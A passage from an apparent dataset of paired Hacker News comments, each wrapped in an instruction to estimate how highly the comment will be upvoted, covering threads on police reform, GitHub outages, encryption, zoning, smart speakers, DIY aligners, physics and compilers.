interact primarily with the worst individuals in our society. There will always be bad apples.</text><parent_chain><item><author>hayst4ck</author><text>There must be some uncomfortable truth in regards to police officers, the type of thing you only understand if you are responsible for leading&#x2F;paying them.<p>Clearly police officers are above the law in America.
Clearly blue lives matter&#x2F;thin blue line is a very deep cultural problem within the force.
Clearly police unions protect people who shouldn&#x27;t be protected.
Clearly police officers protect their peers when their peers commit crime.
Clearly there is some level of infiltration by white supremacists into police forces.
Clearly police in major cities do not do a very good job of de-escalation at all.<p>The average citizen has almost certainly seen a video of a police officer acting outrageously and not ending up in prison. Everyone here has theories that will solve it: end qualified immunity, fix incentives, destroy police unions. Most likely none of us are experts. I can&#x27;t shake the feeling that there is some truth or barrier to this problem that the average person doesn&#x27;t know about&#x2F;the government doesn&#x27;t think we can handle being told.<p>If nothing else any reform must have the blessing of police officers. If police officers quit en masse that is something society at large isn&#x27;t willing to tolerate. Just like the old slashdot e-mail reform meme of ol&#x27; (<a href="https:&#x2F;&#x2F;yro.slashdot.org&#x2F;story&#x2F;04&#x2F;04&#x2F;06&#x2F;1629219&#x2F;analysis-of-spam-and-a-proposed-solution" rel="nofollow">https:&#x2F;&#x2F;yro.slashdot.org&#x2F;story&#x2F;04&#x2F;04&#x2F;06&#x2F;1629219&#x2F;analysis-of-...</a>), I suspect we need a similar meme for police reform.</text></item></parent_chain></comment><story><title>No Qualified Immunity for Cops Who Made Stuff Up to Justify Phone Seizure</title><url>https://www.techdirt.com/articles/20210106/18521446009/no-qualified-immunity-cops-who-made-stuff-up-to-justify-seizing-mans-phone-twelve-days.shtml</url></story> |
23,817,963 | 23,817,967 | 1 | 2 | 23,817,794 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>gregoriol</author><text>Could you provide details on how you plan to be more reliable with a self-hosted solution? what kind of archtecture would you use? how many people will be involved in maintaining?</text><parent_chain><item><author>rvz</author><text>14 Days ago, they went down [0]. And today it&#x27;s happening again. Twice in less than a month.<p>Another reminder to self host via solutions like GitLab or Gitea. [1]<p>[0] <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23675864" rel="nofollow">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23675864</a><p>[1] <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23676072" rel="nofollow">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23676072</a></text></item></parent_chain></comment><story><title>GitHub was down</title><url>http://status.github.com/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>dt3ft</author><text>I would choose self-hosting for small to medium size teams any day. I can&#x27;t fathom why people choose not to self-host at this scale. Your data. Your control. Your network. Your infrastructure. Your responsibility. Are people becoming more afraid of responsibility these days?</text><parent_chain><item><author>rvz</author><text>14 Days ago, they went down [0]. And today it&#x27;s happening again. Twice in less than a month.<p>Another reminder to self host via solutions like GitLab or Gitea. [1]<p>[0] <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23675864" rel="nofollow">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23675864</a><p>[1] <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23676072" rel="nofollow">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23676072</a></text></item></parent_chain></comment><story><title>GitHub was down</title><url>http://status.github.com/</url></story> |
36,462,132 | 36,459,409 | 1 | 2 | 36,459,055 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jrockway</author><text>I wrote my Congressional representation about this. Only Chuck Schumer sent me back a reply, and I can&#x27;t actually tell what his position is. He summarized the bill, then said he worked on making Big Tech more secure (&quot;I have worked to have these sites deploy more secure internet protocols&quot;; must have had some help from Al Gore there) and that he values privacy (&quot;I voted in favor of H.R.2048, the USA Freedom Act, which became law on June 2, 2015. This bill provides additional safeguards for individual privacy in our surveillance rules and ends bulk metadata collection. Moving forward, I will continue working to strengthen privacy protections under the law.&quot;).<p>For whatever reason, my first reading of this email was &quot;fuck you, I&#x27;m outlawing encryption TOMORROW&quot; but after re-reading it, I&#x27;m actually less sure about that. This one is a nail-biter; outlawing encryption is probably the end of the iOS and Android ecosystem, because we&#x27;ll have to use OSes from outside the US. Or let random low-level NSA employees read all your illustrated love letters to your partner. Feels a little gross just thinking about it.</text><parent_chain></parent_chain></comment><story><title>Take action, Protect end-to-end encryption</title><url>https://www.fsf.org/blogs/community/take-action-protect-end-to-end-encryption</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>exabrial</author><text>You know it’s really frustrating? Acting like end to end encryption mean some thing when Apple and Google won’t give us root.<p>Literally everything about e2e encryption right now is a fantasy without low level access.</text><parent_chain></parent_chain></comment><story><title>Take action, Protect end-to-end encryption</title><url>https://www.fsf.org/blogs/community/take-action-protect-end-to-end-encryption</url></story> |
11,919,066 | 11,918,988 | 1 | 2 | 11,918,230 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Lazare</author><text>You&#x27;re missing the point. What&#x27;s being said is this:<p>1. People highly praise city&#x2F;town&#x2F;neighborhood X for its density, walkability, livibility, sustainability, and other quality of life elements.<p>2. That city&#x2F;town&#x2F;neighbourhood could not be built today because of laws which explicitly ban the things which make it so highly praised. If it was destroyed in an earthquake, it couldn&#x27;t be rebuilt in any form which shared the attributes which made it loved.<p>This isn&#x27;t about earthquake strengthening; it&#x27;s about density, parking, transport, multi-family dwellings, mixed-use neighborhoods, etc. An ocean of ink has been spilled on the problems of suburbs full of single-family homes (and zero commercial presence), but our laws frequently <i>require</i> that, regardless of the preferences of consumers.<p>(More generally: The argument for zoning laws is that local government knows better than residents what the people <i>really</i> want, and what makes for a good city. That does not seem to reflect reality.)</text><parent_chain><item><author>thenewwazoo</author><text>I genuinely don&#x27;t get the point. Of course the buildings aren&#x27;t legal under current zoning laws. They weren&#x27;t built under current zoning laws! We don&#x27;t tear down every skyscraper whenever the earthquake requirements change. Nobody moves their house when the setback requirement goes from 8&#x27; to 12&#x27;. These kinds of articles are tautological.<p>edit: the article mentions &quot;illegal neighborhoods and illegal houses&quot; but doesn&#x27;t say anything about the laws <i>when they were built</i>.</text></item></parent_chain></comment><story><title>The illegal city of Somerville</title><url>http://cityobservatory.org/the-illegal-city-of-somerville/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>graeme</author><text>You&#x27;re focussing on a nit. The situation is not &quot;the neighbourhood is generally fine, but would need some tweaks for the fire code&quot;<p>The situation is: it&#x27;s impossible to build a neighbourhood resembling somerville under current zoning laws.<p>I live in a prewar neighbourhood in Montreal. It&#x27;s dense, beautiful, and loved by locals and tourists alike. If you could clone it and build it elsewhere, it would be worth trillions to cities across North America.<p>But it&#x27;s illegal to build, because the streets are too narrow, there isn&#x27;t enough parking, there is a mix of residential buildings and businesses, the buildings aren&#x27;t set back far enough, and so on.</text><parent_chain><item><author>thenewwazoo</author><text>I genuinely don&#x27;t get the point. Of course the buildings aren&#x27;t legal under current zoning laws. They weren&#x27;t built under current zoning laws! We don&#x27;t tear down every skyscraper whenever the earthquake requirements change. Nobody moves their house when the setback requirement goes from 8&#x27; to 12&#x27;. These kinds of articles are tautological.<p>edit: the article mentions &quot;illegal neighborhoods and illegal houses&quot; but doesn&#x27;t say anything about the laws <i>when they were built</i>.</text></item></parent_chain></comment><story><title>The illegal city of Somerville</title><url>http://cityobservatory.org/the-illegal-city-of-somerville/</url></story> |
8,568,820 | 8,569,031 | 1 | 3 | 8,567,990 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>anigbrowl</author><text>Most people don&#x27;t care because they&#x27;re not culpable enough to feel paranoid. Some percentage of people will be unjustly exploited, but probably not enough to offset the economic benefits that technology like this brings to its users.<p>I think your focus on &#x27;the people vs the government&#x27; is misplaced, because government is just a sort of social technology which can be used and abused like any other technology depending on who controls it at the time. What about Barack Obama, for example? Do you seriously think he will refuse to relinquish power in 2 years? You probably don&#x27;t, just&#x27; just expressing your cynical (and entirely justifiable) opinion about the political class. But that&#x27;s not much different from a Marxist asserting that business is fundamentally antagonistic towards workers or similar monolithic abstractions. When you make arguments like this you&#x27;ve opted for ideology over empiricism.<p>Bringing it back to technology, certainly the ubiquity of digital technology makes it easier to establish mass surveillance of a kind that would have seemed nightmarish a few generations ago. But the same technology has also facilitated a significant number of populist uprisings in recent years, and made it far easier for marginalized communities to get their message out in relatively short order, as well as facilitating organizations with both benign and malicious intentions (eg MSF and ISIS, who both leverage social media but for wildly divergent ends).<p>The internet of things isn&#x27;t &#x27;coinciding with the dragnet surveillance trend&#x27;; the latter is an emerging property of our increasingly networked society. When we use metaphors like a &#x27;world wide web&#x27; traversed by &#x27;spiders&#x27; and so on, we should not be surprised that such technologies are going to amplify the capabilities of institutional actors in <i>at least</i> the same proportion that they amplify the capabilities of individuals.</text><parent_chain><item><author>chatmasta</author><text>This &quot;internet-of-things&quot; trend coincides
unfortunately with the &quot;dragnet surveillance&quot;
trend. With every new product launch from a
&quot;cloud company,&quot; I increasingly feel as if I&#x27;m
reading the tombstone of modern society. The
selling point behind these devices is
convenience, but at the cost of security. I
don&#x27;t think I need to explain to HN why an
<i></i>always-on, internet connected voice recording
device<i></i> is something to keep out of your house. [1]<p>Consumers are frighteningly amenable to reducing
their security in favor of convenience. Often
they are oblivious to the tradeoff altogether.
Evidence of this trend has increased since 9&#x2F;11,
as increasingly paranoid legislation made its
way through congress at the behest of corporate
stakeholders. It should hardly be surprising that
now, with the NSA privileged enough to be openly
flaunting its surveillance, those same corporate
stakeholders are investing in companies that sell
listening devices to millions of Americans. I am
making a paranoid argument, but it&#x27;s not ungrounded,
and certainly not surprising, because <i>paranoia breeds
paranoia.</i> Pass paranoid legislation, face a paranoid
populace. The American people are rightfully skeptical
of their government.<p>Perhaps it sounds absurd to segment the world into
the &quot;populace&quot; and &quot;government,&quot; but did it sound
absurd when you read those terms in high school
history books? Over spans of centuries, politics is
viewed in the same terms: the people, and the
government. Maybe you and I do not think of ourselves
in the context of centuries. But what about Barack Obama? Vladimir Putin? It seems logical to assume they see themselves in the context of world leaders past. Modern leaders occupy unprecedented seats of power over the largest populace ever. If they are internally comparing themselves
to each other and their predecessors, then we have a problem. We cannot trust the world leaders, because they
do not view themselves on the same level as us. Faced with an increasingly empowered and growing populace, they could
react any way. We&#x27;ll see.<p>(Yes, I&#x27;m trying to get on a list at the NSA. It&#x27;s an
experiment I&#x27;m doing. Hopefully I hit enough keywords
today.)<p>[1] Yes, transmission is triggered on-chip, but who verifies
every chip fabrication is performed using the same imprints?
You think governments don&#x27;t have factory floor managers in
their pockets?</text></item></parent_chain></comment><story><title>Amazon Echo</title><url>http://www.amazon.com/oc/echo</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Throwaway12928</author><text>The scary part is that you can&#x27;t protect yourself easily from those around you. For example, let&#x27;s say you like to maintain your privacy, and you&#x27;re careful about anything you post online, you&#x27;re careful not to have an always on microphone, such as the Echo, you&#x27;re careful not to have a smart television with a video camera connected to the internet in your living room, etc. That&#x27;s great, and up to you to decide, but what about your friends house?<p>I mean, when you visit your friend, stop at a girlfriends apartment, or hang out with people at the pub, are you checking if they have any of these devices? Do you search their shelves for an Echo? Do you ask everyone at the restaurant if they have a smartphone with a microphone connected to the internet?<p>It&#x27;s impossible to avoid things like this in your life. The second you walk outside, you&#x27;re surrounded by cameras and microphones that can be streaming anything, to anyone.<p>Facebook is another example. You might say, I don&#x27;t want to enter where I live, or where I went to school, I feel that&#x27;s sensitive information. Well, since you refuse to give up that information, Facebook just encourages your friends to squeal. Hey, does John Doe live in X or Y city? Did you go to university with John Doe? Hey, why don&#x27;t you upload more photos of John Doe, and tell us the time and location that photo was taken. Actually, no need to tag him, we&#x27;ll just detect his face, and use the date the photo was created.<p>It&#x27;s not going to be long until you can search a person, and see a timeline of their life based on data from third parties. Let&#x27;s watch John Doe&#x27;s life for 2018. Oh look, Jan 15, he appears in the background of a tourists photo by the Eiffel tower. Jan 21st, we detected is face on the metro in southern France. Oh, Jan 28th, a car dash cam finds him walking down a street in Italy. Oh, his phone was on and we can see he was in Jane&#x27;s apartment Feb 1st. Let&#x27;s pull the audio from the microphone on Jane&#x27;s television for that day.</text><parent_chain><item><author>chatmasta</author><text>This &quot;internet-of-things&quot; trend coincides
unfortunately with the &quot;dragnet surveillance&quot;
trend. With every new product launch from a
&quot;cloud company,&quot; I increasingly feel as if I&#x27;m
reading the tombstone of modern society. The
selling point behind these devices is
convenience, but at the cost of security. I
don&#x27;t think I need to explain to HN why an
<i></i>always-on, internet connected voice recording
device<i></i> is something to keep out of your house. [1]<p>Consumers are frighteningly amenable to reducing
their security in favor of convenience. Often
they are oblivious to the tradeoff altogether.
Evidence of this trend has increased since 9&#x2F;11,
as increasingly paranoid legislation made its
way through congress at the behest of corporate
stakeholders. It should hardly be surprising that
now, with the NSA privileged enough to be openly
flaunting its surveillance, those same corporate
stakeholders are investing in companies that sell
listening devices to millions of Americans. I am
making a paranoid argument, but it&#x27;s not ungrounded,
and certainly not surprising, because <i>paranoia breeds
paranoia.</i> Pass paranoid legislation, face a paranoid
populace. The American people are rightfully skeptical
of their government.<p>Perhaps it sounds absurd to segment the world into
the &quot;populace&quot; and &quot;government,&quot; but did it sound
absurd when you read those terms in high school
history books? Over spans of centuries, politics is
viewed in the same terms: the people, and the
government. Maybe you and I do not think of ourselves
in the context of centuries. But what about Barack Obama? Vladimir Putin? It seems logical to assume they see themselves in the context of world leaders past. Modern leaders occupy unprecedented seats of power over the largest populace ever. If they are internally comparing themselves
to each other and their predecessors, then we have a problem. We cannot trust the world leaders, because they
do not view themselves on the same level as us. Faced with an increasingly empowered and growing populace, they could
react any way. We&#x27;ll see.<p>(Yes, I&#x27;m trying to get on a list at the NSA. It&#x27;s an
experiment I&#x27;m doing. Hopefully I hit enough keywords
today.)<p>[1] Yes, transmission is triggered on-chip, but who verifies
every chip fabrication is performed using the same imprints?
You think governments don&#x27;t have factory floor managers in
their pockets?</text></item></parent_chain></comment><story><title>Amazon Echo</title><url>http://www.amazon.com/oc/echo</url></story> |
11,277,242 | 11,276,678 | 1 | 2 | 11,275,925 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>dezork</author><text>I used Keystone PROFORM .030&quot; Retainer Material. Keystone is a dental supplier, so I trust the plastic is biologically inert.</text><parent_chain><item><author>rl3</author><text>Not to be a downer, but was any thought given to the safety of the plastic(s) used?<p>This is something that&#x27;s in your mouth a lot and constantly exposed to saliva.<p>The <i>Dimension 1200es</i> mentioned doesn&#x27;t appear to be specific to medical applications.[0] The product page lists the only compatible thermoplastic being <i>ABSplus-P430</i>. The MSDS for that basically says the stuff is dangerous in molten form, and beyond that there&#x27;s very little data.[1] The same company makes &quot;Dental and Bio-Compatible&quot; materials for use with their other products, and these appear to have considerably more safety data.[2]<p>&gt;<i>The aligner steps have been printed, in addition to a “riser” that I added in order to make sure the vacuum forming plastic (sourced from ebay) ...</i><p>As another commenter pointed out, the vacuum forming plastic is probably the primary concern because the 3D printer was just used to create the molds. The specific type of vacuum plastic isn&#x27;t mentioned.<p>Regardless, very neat project.<p>[0] <a href="http:&#x2F;&#x2F;www.stratasys.com&#x2F;3d-printers&#x2F;design-series&#x2F;dimension-1200es" rel="nofollow">http:&#x2F;&#x2F;www.stratasys.com&#x2F;3d-printers&#x2F;design-series&#x2F;dimension...</a><p>[1] <a href="http:&#x2F;&#x2F;www.stratasys.com&#x2F;~&#x2F;media&#x2F;Main&#x2F;Files&#x2F;SDS&#x2F;P430_ABS_M30_ABS_Model&#x2F;SDS-EU-P430-US-English.pdf?la=en" rel="nofollow">http:&#x2F;&#x2F;www.stratasys.com&#x2F;~&#x2F;media&#x2F;Main&#x2F;Files&#x2F;SDS&#x2F;P430_ABS_M30...</a><p>[2] <a href="http:&#x2F;&#x2F;www.stratasys.com&#x2F;materials&#x2F;material-safety-data-sheets&#x2F;polyjet&#x2F;dental-and-bio-compatible-materials" rel="nofollow">http:&#x2F;&#x2F;www.stratasys.com&#x2F;materials&#x2F;material-safety-data-shee...</a></text></item></parent_chain></comment><story><title>I made my own clear plastic tooth aligners and they worked</title><url>http://amosdudley.com/weblog/Ortho</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>johnloeber</author><text>This is a great point to raise. OP, please make sure that both the plastic you used, and the chemicals released as saliva gradually breaks down the plastic, are not going to be harmful. You wouldn&#x27;t want long-term exposure of your gums to harmful agents. But that&#x27;s probably the only concern.<p>Regardless: great job. I&#x27;m very impressed by this project -- I love seeing applications of 3d printing. Especially one like this turns an expensive (and slow!) medical procedure into something that can be done easily at home, or cheaply in the office of a trained professional.</text><parent_chain><item><author>rl3</author><text>Not to be a downer, but was any thought given to the safety of the plastic(s) used?<p>This is something that&#x27;s in your mouth a lot and constantly exposed to saliva.<p>The <i>Dimension 1200es</i> mentioned doesn&#x27;t appear to be specific to medical applications.[0] The product page lists the only compatible thermoplastic being <i>ABSplus-P430</i>. The MSDS for that basically says the stuff is dangerous in molten form, and beyond that there&#x27;s very little data.[1] The same company makes &quot;Dental and Bio-Compatible&quot; materials for use with their other products, and these appear to have considerably more safety data.[2]<p>&gt;<i>The aligner steps have been printed, in addition to a “riser” that I added in order to make sure the vacuum forming plastic (sourced from ebay) ...</i><p>As another commenter pointed out, the vacuum forming plastic is probably the primary concern because the 3D printer was just used to create the molds. The specific type of vacuum plastic isn&#x27;t mentioned.<p>Regardless, very neat project.<p>[0] <a href="http:&#x2F;&#x2F;www.stratasys.com&#x2F;3d-printers&#x2F;design-series&#x2F;dimension-1200es" rel="nofollow">http:&#x2F;&#x2F;www.stratasys.com&#x2F;3d-printers&#x2F;design-series&#x2F;dimension...</a><p>[1] <a href="http:&#x2F;&#x2F;www.stratasys.com&#x2F;~&#x2F;media&#x2F;Main&#x2F;Files&#x2F;SDS&#x2F;P430_ABS_M30_ABS_Model&#x2F;SDS-EU-P430-US-English.pdf?la=en" rel="nofollow">http:&#x2F;&#x2F;www.stratasys.com&#x2F;~&#x2F;media&#x2F;Main&#x2F;Files&#x2F;SDS&#x2F;P430_ABS_M30...</a><p>[2] <a href="http:&#x2F;&#x2F;www.stratasys.com&#x2F;materials&#x2F;material-safety-data-sheets&#x2F;polyjet&#x2F;dental-and-bio-compatible-materials" rel="nofollow">http:&#x2F;&#x2F;www.stratasys.com&#x2F;materials&#x2F;material-safety-data-shee...</a></text></item></parent_chain></comment><story><title>I made my own clear plastic tooth aligners and they worked</title><url>http://amosdudley.com/weblog/Ortho</url></story> |
22,039,071 | 22,039,216 | 1 | 2 | 22,033,864 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ProblemFactory</author><text>&gt; Or am I just a lemur trying to figure out how an airplane works?<p>Unfortunately yes, all of us are.<p>This is not a problem with physics or abstractions. It&#x27;s a problem with our intuition. Our intuition is based on evolution and life experience, which is all formed based on mostly solid objects from 1cm to 100m moving at 1m&#x2F;s to 100m&#x2F;s.<p>The universe however does not care what meatbags can experience with our senses. It doesn&#x27;t mean that our complex math abstractions are necessarily correct - but they are more correct than casual intuition. You can train that intuition with enough work with the maths.<p>For example, you can map most of basic electricity to water flow and pressure, and some electromagnetic waves to waves in water - but you need to make a small jump to abstraction to combine both, and a large jump to get a gut feeling for special relativity to &quot;feel right&quot;.<p>The crazy part is really that mathematical abstractions exist for all these things at all. There seems to be no natural reason that physics should be describable by small elegant formulas at all, let alone our experience of throwing rocks into a pond. Why isn&#x27;t particle physics as messy as organic chemistry?</text><parent_chain><item><author>cletus</author><text>Does anyone else feel like the abstractions and models in physics have gone passed the point where the casual outsider (even a technically and scientifically minded one) can no longer intuitively understand it?<p>Because that&#x27;s how I feel. There are so many things I just don&#x27;t understand now like:<p>1. I originally thought the Heisenberg Uncertainty principle was a natural consequence of using particles (photos) for measurement. Instead however it seems to be a fundamental property of the universe, which I only learned after finding out most of the mass of hadrons comes from the relativistic motion of quarks and it explains why hadrons don&#x27;t collapse to a point.<p>2. What does it even mean to create more space? The universe is expanding. Ok, I can accept that. But what does it <i>mean</i>?<p>3. I find the models for dark matter and dark energy to be... <i>unsatisfying</i>. I realize there&#x27;s experimental evidence for unobservable mass but it <i>feels</i> like a fudge.<p>4. Of course we still have no quantum model for gravity.<p>5. I don&#x27;t really understand what a fundamental force really is. Like why does electromagnetism have a repulsive opposite but gravity doesn&#x27;t? When I tried to look into this I ended up down some rabbit hole of &quot;gauge forces&quot; and got completely lost. Why is the Higgs Field not a force?<p>6. Why are some predictions of the Standard Model so incredibly accurate (like the magnetic moment of an electron IIRC?) while others are so incredibly inaccurate (eg IIRC the QFT prediction of vacuum energy is off by 120 orders of magnitude).<p>7. Why are there exactly three generations of particles (ignoring the Higgs)? What does a generation even mean?<p>I could go on. I don&#x27;t for a second mean to suggest any of these notions are wrong. It&#x27;s just that the models have gotten so complex (it seems?) that it just feels like something huge is missing, something that will eventually seem obvious in hindsight. Or am I just a lemur trying to figure out how an airplane works?</text></item></parent_chain></comment><story><title>Why the foundations of physics have not progressed for 40 years</title><url>https://iai.tv/articles/why-physics-has-made-no-progress-in-50-years-auid-1292</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>effie</author><text>Yes. First, intuition depends on your experience. If you never studied physics, most things will be nonintuitive (heavy bodies don&#x27;t fall faster than light ones? really?)<p>Second, modern 20th century physics education (courses, textbooks) suffered sustained corruption of methodology by scientific authorities, where the quest for understanding was renounced in favor of &quot;modelling&quot; and &quot;prediction&quot; (e.g. authors of orthodox quantum theory and their less bright pupils perpetuating that attitude) and later by institutionalized system of university research which propels tweaking and applying old ideas to detriment of trying new ones or questioning past ideas that are too ingrained.<p>This leads to a large portion of theoretical physics publications being more and more about complex calculations where most applicators do not even try to understand &quot;what is going on&quot;, they just assume the same quantum methodology with some tweaks (i.e. different configuration spaces, more dimensions, different Lagrangians, new fields that fix problems of the previous ones, tricks with removing some ugly series terms etc).<p>Sometimes these tweaks get fancy names (superstrings, loops, dark matter) but they are really an additional concept that needs to be put in to save the edifice from those radicals who would like to try actually new and incompatible ideas.<p>When you study 20th century physics yourself from original sources, you&#x27;ll find the stuff taught currently actually has highly varying degree of credibility. Some stuff is rock solid, such as relativity, molecular theory and chemistry, nuclear physics and solid state theory, and some stuff is ... well, more unfinished and less credible - such as standard model, force unification, quantum gravity, dark matter, etc.).<p>If you want to get some solid ground on which to build intuition, start with the rock-solid physics as known till 1905, then after that makes sense, learn about its problems (explanation of emission spectra, inconsistency of EM theory with Newtonian mechanics), then after that take a deep breath and read original papers on quantum theory and particle&#x2F;nuclear physics.<p>This will take years to understand. The later theoretical stuff around Standard Model details (lepton generations, stability of particles, unification of gravity and QFT) is a decades old project that nobody knows how to finish. It is stuck for now, and has little relevance for understanding those previous things.</text><parent_chain><item><author>cletus</author><text>Does anyone else feel like the abstractions and models in physics have gone passed the point where the casual outsider (even a technically and scientifically minded one) can no longer intuitively understand it?<p>Because that&#x27;s how I feel. There are so many things I just don&#x27;t understand now like:<p>1. I originally thought the Heisenberg Uncertainty principle was a natural consequence of using particles (photos) for measurement. Instead however it seems to be a fundamental property of the universe, which I only learned after finding out most of the mass of hadrons comes from the relativistic motion of quarks and it explains why hadrons don&#x27;t collapse to a point.<p>2. What does it even mean to create more space? The universe is expanding. Ok, I can accept that. But what does it <i>mean</i>?<p>3. I find the models for dark matter and dark energy to be... <i>unsatisfying</i>. I realize there&#x27;s experimental evidence for unobservable mass but it <i>feels</i> like a fudge.<p>4. Of course we still have no quantum model for gravity.<p>5. I don&#x27;t really understand what a fundamental force really is. Like why does electromagnetism have a repulsive opposite but gravity doesn&#x27;t? When I tried to look into this I ended up down some rabbit hole of &quot;gauge forces&quot; and got completely lost. Why is the Higgs Field not a force?<p>6. Why are some predictions of the Standard Model so incredibly accurate (like the magnetic moment of an electron IIRC?) while others are so incredibly inaccurate (eg IIRC the QFT prediction of vacuum energy is off by 120 orders of magnitude).<p>7. Why are there exactly three generations of particles (ignoring the Higgs)? What does a generation even mean?<p>I could go on. I don&#x27;t for a second mean to suggest any of these notions are wrong. It&#x27;s just that the models have gotten so complex (it seems?) that it just feels like something huge is missing, something that will eventually seem obvious in hindsight. Or am I just a lemur trying to figure out how an airplane works?</text></item></parent_chain></comment><story><title>Why the foundations of physics have not progressed for 40 years</title><url>https://iai.tv/articles/why-physics-has-made-no-progress-in-50-years-auid-1292</url></story> |
15,008,082 | 15,006,019 | 1 | 2 | 15,005,569 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jb1991</author><text>To anyone wondering why stuff like this matters, it&#x27;s because the benefits of functional programming reach new heights when coupled with efficient immutable structures. In C++, for example, you can do functional programming in the most basic sense of the word, and it&#x27;s actually pretty fun. But it can be very expensive because you are not working on efficient data structures that support the mangling and idioms that make FP really shine. There have been interesting efforts to bring structures like this to C++ but nothing mature or known widespread. When people talk about FP, it&#x27;s about a lot more than what you can do with functions and expressions; it&#x27;s about making sure that these functional manipulations remain very fast without lots of copying, and that&#x27;s what is so fascinating about data structure research: how it supports new ways to write programs.</text><parent_chain></parent_chain></comment><story><title>Efficient Immutable Collections [pdf]</title><url>https://michael.steindorfer.name/publications/phd-thesis-efficient-immutable-collections.pdf</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>norswap</author><text>This is really cool work by Michael, a collection of configurable data structures.<p>Underlying most of them is CHAMP - a compressed hash array map trie. Essentially it&#x27;s a trie over the hash of the objects inserted in the map. It&#x27;s compressed using a clever technique that involves bitmaps.<p>A made a toy implementation of it to get a sense of how it works. There are some accompanying notes that you might find useful: <a href="https:&#x2F;&#x2F;github.com&#x2F;norswap&#x2F;triemap" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;norswap&#x2F;triemap</a></text><parent_chain></parent_chain></comment><story><title>Efficient Immutable Collections [pdf]</title><url>https://michael.steindorfer.name/publications/phd-thesis-efficient-immutable-collections.pdf</url></story> |
18,795,634 | 18,795,697 | 1 | 3 | 18,794,382 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>kstrauser</author><text>This is awesome. I don&#x27;t have a dog in the GCC-vs-Clang hunt, but I love love love that the two are leapfrogging each other. It would suck if, say, Clang were so much better than GCC that they stopped doing cool work on it (and vice versa). <i>Everyone</i> benefits from this particular friendly competition!<p>Great job, both teams. Please keep up the great work!</text><parent_chain></parent_chain></comment><story><title>Even more fun with building and benchmarking Firefox with GCC and Clang</title><url>http://hubicka.blogspot.com/2018/12/even-more-fun-with-building-and.html?m=1</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>kodablah</author><text>Not sure if directly related to the article, but curious, if you compare GCC and Clang and review GCC&#x27;s logic to improve Clang, have you violated a license? Similarly if you assume API is copyrightable and covered by the license, one wonders about violations just reimplementing GCC extensions. (just spitballing because in general something is not a violation that is not pursued as such)</text><parent_chain></parent_chain></comment><story><title>Even more fun with building and benchmarking Firefox with GCC and Clang</title><url>http://hubicka.blogspot.com/2018/12/even-more-fun-with-building-and.html?m=1</url></story> |
27,164,418 | 27,163,467 | 1 | 2 | 27,159,906 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ManlyBread</author><text>The problem with Quake clones is that most of them have really small playerbase and it&#x27;s hard to find someone to play with, especially when location is considered (I live in Eastern Europe). The potential playerbase is also fragmented between various clones.<p>I gave Xonotic a go a few minutes ago. The game is nice but right now I can see 6 only servers populated. That&#x27;s not a lot to be honest.</text><parent_chain><item><author>sigg3</author><text>If you like Quake-likes, let me recommend Xonotic. It&#x27;s a free and open source game based on a heavily modified Darkplaces engine.<p>It&#x27;s a friendly community, with a wide age distribution (lots of old quakers like myself). If you don&#x27;t like death match, clan arena or CTF, login to a CTS defrag game (time races for movement training).<p><a href="https:&#x2F;&#x2F;xonotic.org" rel="nofollow">https:&#x2F;&#x2F;xonotic.org</a></text></item></parent_chain></comment><story><title>Quake3e, a modern Quake III Arena engine</title><url>https://github.com/ec-/Quake3e</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Archer6621</author><text>Xonotic is great, been playing it almost since it started. Also contributed some music to it!<p>I&#x27;ve always been amazed in particular by how polished it is for an open source game. Don&#x27;t think I&#x27;ve ever heard anyone that tried it say they didn&#x27;t enjoy it either, though generally folks don&#x27;t stick around, save for a couple.<p>Most of the current playerbase is situated in Europe though I think, so you gotta play at times that make sense for those time-zones if you wanna see players (evenings usually pretty active).</text><parent_chain><item><author>sigg3</author><text>If you like Quake-likes, let me recommend Xonotic. It&#x27;s a free and open source game based on a heavily modified Darkplaces engine.<p>It&#x27;s a friendly community, with a wide age distribution (lots of old quakers like myself). If you don&#x27;t like death match, clan arena or CTF, login to a CTS defrag game (time races for movement training).<p><a href="https:&#x2F;&#x2F;xonotic.org" rel="nofollow">https:&#x2F;&#x2F;xonotic.org</a></text></item></parent_chain></comment><story><title>Quake3e, a modern Quake III Arena engine</title><url>https://github.com/ec-/Quake3e</url></story> |
